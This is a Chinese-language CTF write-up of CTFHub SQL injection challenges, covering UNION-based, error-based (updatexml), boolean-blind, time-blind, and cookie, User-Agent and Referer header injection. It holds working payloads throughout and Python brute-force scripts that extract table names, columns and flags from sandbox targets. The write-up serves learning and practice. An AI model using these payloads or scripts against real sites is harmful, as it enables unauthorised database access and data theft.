CTFHub Web題學習筆記(SQL注入題解writeup)


Web題下的SQL注入

1,整數型注入

 

 

 

 使用burpsuite,?id=1%20and%201=1

 

 id=1的數據依舊出現,證明存在整數型注入

常規做法,查看字段數,回顯位置

?id=1%20order%20by%202

字段數為2

 

 ?id=1%20and%201=2%20union%20select%201,2

 

 1,2位置都回顯,查表名

?id=1%20and%201=2%20union%20select%20group_concat(table_name),2%20from%20information_schema.tables%20where%20table_schema=database()

 

 看到有兩個表,繼續查flag字段里面的內容

?id=1%20and%201=2%20union%20select%20group_concat(column_name),2%20from%20information_schema.columns%20where%20table_name=%27flag%27

flag表里面存在flag字段

 

 ?id=1%20and%201=2%20union%20select%20group_concat(flag),2%20from%20flag

獲取flag

 

 

 

2,字符型注入

 

 

 

 輸入1之后可以看到顯示的SQL語句,並且我們的輸入是經過單引號包裹的

?id=1' and 1=1--+

 

 可以看到成功閉合了單引號,接下來的注入跟之前差不多

最后的payload為

?id=1' and 1=2 union select group_concat(flag),2 from flag--+

 

 獲得flag,字符型注入跟數字型注入的區別就在於引號的閉合

 

3,報錯注入

 

 報錯注入是我們通過反饋出來的錯誤來獲取到我們所需要的信息

這里我們使用updataxml函數進行報錯注入

UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值  

舉一個payload:

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

  

updatexml的報錯原因很簡單,updatexml第二個參數需要的是Xpath格式的字符串,但是我們第二個參數很明顯不是,而是我們想要獲得的數據,所以會報錯,並且在報錯的時候會將其內容顯示出來,從而獲得我們想要的數據

?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

 

 我們接着注入即可,查詢flag的payload為:

?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));

因為前面兩道題都是flag字段,所以這次我直接猜了

 

 但是xpath報錯只顯示32位結果,很明顯顯示的flag不完全,我們需要借助mid函數來進行字符截取從而顯示32位以后的數據。

?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));

 

 

 

 獲得剩下的數據,拿到flag

 

4,布爾盲注

 

 布爾盲注,只顯示你當前的條件是否正確或者錯誤,例如我們判斷字段數 order by 2返回正確,order by 3返回錯誤

 

 

 

 面對布爾盲注,我們想要獲取自己想知道的信息時,需要判斷信息的每一位的ASCII碼,對於返回的信息是否正確,直接觀察頁面的返回正常與否即可,雖然可以手動判斷,但是花費時間過長,但是我使用常規的盲注腳本發現沒有出現正常結果。

重新測試一下

 

 

 

 

 

 可以看到and 1=1和and 1=2返回的都是success,所以我們使用if(expr1,expr2,expr3)函數來盲注

判斷語句,當第一條語句是正確就執行第二條語句,不正確就執行第三條語句

我們構造:

if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))

求數據庫的每一位字母,編寫數據庫爆破腳本

import requests
url='http://challenge-e707c9087d8e56e2.sandbox.ctfhub.com:10080/?id='
for i in range(0,4):
    name=''
    for j in range(0,10):
        for k in '0123456789zaqwsxedcrfvtgbyhnujmikolp_':
            test_url=url+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))'%(i,j,k)
            rep=requests.get(test_url)
            if 'query_success' in rep.text:
                name=name+k
                break
    print name

  

 

 

 盲注出表

import requests
url='http://challenge-e707c9087d8e56e2.sandbox.ctfhub.com:10080/?id='
for i in range(0,4):
    name=''
    for j in range(0,10):
        for k in '0123456789zaqwsxedcrfvtgbyhnujmikolp_':
            test_url=url+"if(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1)='%s',1,(select table_name from information_schema.tables))"%(i,j,k)
            rep=requests.get(test_url)
            if 'query_success' in rep.text:
                name=name+k
                break
    print name

  

 

 

 出字段

import requests
url='http://challenge-57cc506cf0ef8c4b.sandbox.ctfhub.com:10080/?id='
name=''
for j in range(1,50):
    for i in range(48,126):
        test_url=url+"if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))"%(j,i)
        rep=requests.get(test_url)
        if 'query_success' in rep.text:
            name=name+chr(i)
            print name
            break

  

 

 獲得flag

 

時間盲注

在?id=1 后面添加 and sleep(10)

這個延遲時間測試是否有時間盲注的時候設長一點,因為是手動測試是否有漏洞,為了避免網絡的原因讓我們漏掉漏洞,sleep(10)之后可以看到網站有明顯的延遲,證明時間盲注存在

 

 時間盲注會用到sleep(time)函數,還有if函數

if(1,2,3):如果1真,則執行2,否則執行3
Sleep(x):執行延遲x秒

然后我們先判斷數據庫的長度和數據庫名稱,對數據庫每一位進行ascii判斷即可,這里抄了這位師傅的代碼(罪過)https://www.lsablog.com/networksec/penetration/time-based-blind-sqli/,改成了適用於這道題的:

#coding:utf-8
#Author:LSA
#Description:Time based sqli script for sqli-labs less 6
#Data:20180108
import requests
import time
import string
import sys
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
    lengthUrl = 'http://challenge-c13b65fc664e2e69.sandbox.ctfhub.com:10080/?id=1 and if(length(database())>{0},1,sleep(3))--+'
    lengthUrlFormat = lengthUrl.format(l)
    start_time0 = time.time()
    rsp0 = requests.get(lengthUrlFormat,headers=headers)
    if  time.time() - start_time0 > 2.5:
            print 'database length is ' + str(l)
            global length
            length = l
            break
    else:
        pass
for i in range(1,length+1):
    for char in chars:
        charAscii = ord(char)
        url = 'http://challenge-c13b65fc664e2e69.sandbox.ctfhub.com:10080/?id=1 and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        rsp = requests.get(urlformat,headers=headers)
        if  time.time() - start_time > 2.5:
            database+=char
            print 'database: ',database
            break
        else:
            pass
print 'database is ' + database

  得到數據庫長度是4,數據庫名稱為sqli

 

 在原來代碼的基礎上修改為盲注表,盲注字段,盲注數據的python腳本,不過按照之前的經驗,flag是在flag這個字段里面的,所以直接編寫代碼查詢即可

 

# -*- coding: cp936 -*-
import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://challenge-27e6d51e6c1a4014.sandbox.ctfhub.com:10080/?id=1"



#
#print("數據表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("數據:",dbname)

def get_database():
    dbname=''
    print "database:"
    payload=" and if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            start=time.time()
            r=requests.get(url+payloads)
            if (time.time() - start)>=4:
                dbname+=x
                print dbname
                char=x
                break
        if char=='':
            break
def get_table():
    table_name=''
    print "table"
    payload=" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            start=time.time()
            r=requests.get(url+payloads)
            if (time.time() - start)>=4:
                table_name+=x
                print table_name
                char=x
                break
        if char=='':
            break

def get_column():
    column_name=''
    print "column"
    payload=" and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='news' limit 1,1),{0},1))={1}),sleep(5),1) #"
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            start=time.time()
            r=requests.get(url+payloads)
            if (time.time() - start)>=4:
                column_name+=x
                print column_name
                char=x
                break
        if char=='':
            break

def get_data():
    data=''
    print "data"
    payload=" and if((ascii(substr((select flag from sqli.flag),{0},1))={1}),sleep(5),1)"
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            start=time.time()
            r=requests.get(url+payloads)
            if (time.time() - start)>=4.5:
                data+=x
                print data
                char=x
                break
        if char=='':
            break

get_data()

  跑個結果慢死人,感覺環境不是很穩定還是我網絡的問題,中間有的時候會出問題,腳本出的flag就會出錯,腳本沒有寫錯

 

 比如這里的C應該是9,但是因為不知名的原因,C的時候就直接正確了,再用sqlmap跑一遍

 

 驗證flag錯誤的地方,另外想要在盲注源代碼的基礎上修改,可以更改成二分模式,這樣效率更高

 

MySQL結構

 

 手動進行簡單測試(題目寫成MYSQL結構我也不知道是啥啊)

and 1=2的時候沒有返回結果

 

 and 1=1的時候返回正確結果,數字型注入

 

 

這次手工出flag吧,除非批量挖洞,平時少用工具,有的時候自己會養成一種惰性,而且在有狗的情況下,很多時候工具都用不了,還是需要自己手動進行參數測試fuzz,如果基礎不扎實的話很容易就懵逼了。

 

 字段數為2

回顯位置是1,2

 

 數據庫名為sqli

 

 出表名:news,qsppbznbrd

出字段:nhnmftonyj

 

 出結果拿到flag

 

Cookie注入

 

 題目已經很明顯提示了我們,cookie注入,打開burpsuite進行抓包重放

抓包之后可以看到cookie里面有id參數,我們嘗試進行注入

 

 進行簡單的嘗試可以發現還是數字型注入

 

 

 

 由於上一道題已經寫過數字型注入了,這里就不再贅述,直接出一個結果吧

 

 

UA注入

 

 看題目應該是user-agent注入,還是burpsuite進行抓包

 

 跟我們想的一樣,既然這里id=后面跟的是我們的user-agent,所以本能反應將user-agent修改成數字1

 

 可以看到返回的結果又跟上一道題類似了,按照前兩道題相同的思路做即可

 

 拿到flag

 

Refer注入

 

可以看到這道題是refer注入,抓包

 

 告訴我們需要在referer輸入ID,我們知道referer是告訴網站我們是從哪個網站來的,這里如果網站對訪客的來源網站地址進行了儲存且沒有過濾的話,就容易出現SQL注入漏洞,這里的SQL注入和前面兩道題的SQL注入類似,但是在實戰中比較容易遇見,因為這三個部分的儲存信息不容易被網站程序編寫者重視和發現。

因為網站沒有自動加referer,所以我們在burpsuite里面手動添加referer

 

 同時返回包里面出現了我們想看到的數據

 

 繼續常規數字型注入拿到flag

 

 

總體來說還是挺不錯的,但是沒有考到注入的過濾和繞過這一類知識,不過也已經很棒了

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM